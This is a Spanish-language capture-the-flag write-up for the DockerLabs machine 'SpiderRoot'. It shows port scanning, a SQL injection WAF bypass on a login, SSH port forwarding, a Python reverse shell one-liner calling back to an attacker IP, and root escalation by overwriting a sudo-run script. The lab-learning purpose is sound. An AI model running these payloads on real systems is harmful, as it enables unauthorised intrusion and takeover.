SpiderRoot, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| fuzzing ficheros y dirs | feroxbuster |
| waf bypass | manual |
| mysqli | payloads basicos |
| port forwading | SSH |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX spiderroot 172.17.0.3
Como vemos tenemos el 80 http, el 22 ssh, sin mas demora revisamos la web y lanzamos un feroxbuster para ver que directorios y ficheros hay.
Ferox no nos reporta nada interesante , el jugo esta en el login que encontramos en multiverso.
Login
Empecemos a probar manualmente a ver donde falla y corta el payload y que acepta.
Colocando una comilla simple ya salta el waf.
Tal y como esta este waf configurado a mi parecer le desconciertan los espacios asi que juego modificando conocidisimos payloads dandole espacios y alterando mayusculas y minusculas. Me funciono el siguiente payload
1
or 1 =1
Hemos tenido exito y nos proporcionan la contraseña para poder aceder por ssh.
Infiltracion
Ni bien nos conectamos realizamos las comprobaciones tipicass sudo -l , suid , ficheros escribibles, etc…
Encuentro uno fichero interesantes pero de momento no sirve y busco servicios internos .
1
ss -tulnp
- -t TCP
- -u UDP
- -l listening (escuchando)
- -n mostrar puertos/números (no resolver nombres)
- -p mostrar proceso/PID (necesita sudo para ver info completa)
Tenemos un servico http corriendo y aparentemente es una ejecucion de comandos.
Bien ahora vamos a traernos el puerto a nuestra maquina local , para ello realizamos un port forwading con ssh
1
ssh -L 127.0.0.1:8081:127.0.0.1:8080 peter@172.17.0.3
Con este comando simplemente indicamos que queremos el puerto 8080 de la victima en el puerto 8081 de nuestro host.Para ello me abro otra term y lo ejecuto.
Movimiento de usuario lateral
Efecivamente lo que vimos con curl era lo correcto podemos ejecutar comandos asi que vamos a mandarnos una revshell.
Si hacemos un id podemos comprobar que estamos en el grupo del usuario que puede modificar el contenido de la carpeta opt , que es lo quiero usar para escalar. Nos ponemos a la escuha y nos mandamos la rev.
1
2
nc -lnvp 8889 # en la atacante
export RHOST="192.168.0.104";export RPORT=8889;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'# en la victima
No se porque mierda no consegui hacer que la tty funcionara correctamente y hacerla interactiva,(espero leer vuestros writeups a ver si me lo acalrais)pero sigamos.
Una vez con el user nuevo ejecutamos lo siempre sudo -l etc..
Con sudo ya lo tengo clarisimo vamos a cambiar el contenido del fichero spidy.py situado en opt , dado que el usuario www-data pertenece al grupo spiderlab en principio deberiamos poder gestionar los ficheros de dicho directorio.
Yo directamente me voy a spawnear una shell con privilegios.Para ello me voy a crear un backup del original y colocar un fichero con el mismo nombre pero con el contenido que me interesa.
1
2
3
4
5
6
cat > spidy.py <<'PY'
#!/usr/bin/python3
# payload sencillo que levanta una shell interactiva con PTY
import pty, os
pty.spawn("/bin/sh")
PY
Vamos a aseguranros de que root lo lea demosle permiso y ejecutemos.
1
2
chmod 644 spidy.py
sudo /usr/bin/python3 /opt/spidy.py
Somos root,otra maquinita mas y tambien divertida
Ojo que yo perdi tiempo creyendo que era un jodido path hijacking , pero no , a estar atentos , otra buena maquina de Grooti
Muchas gracias poor leerme, espero que te haya gustado y que te sirva de ayuda.











Comments powered by Disqus.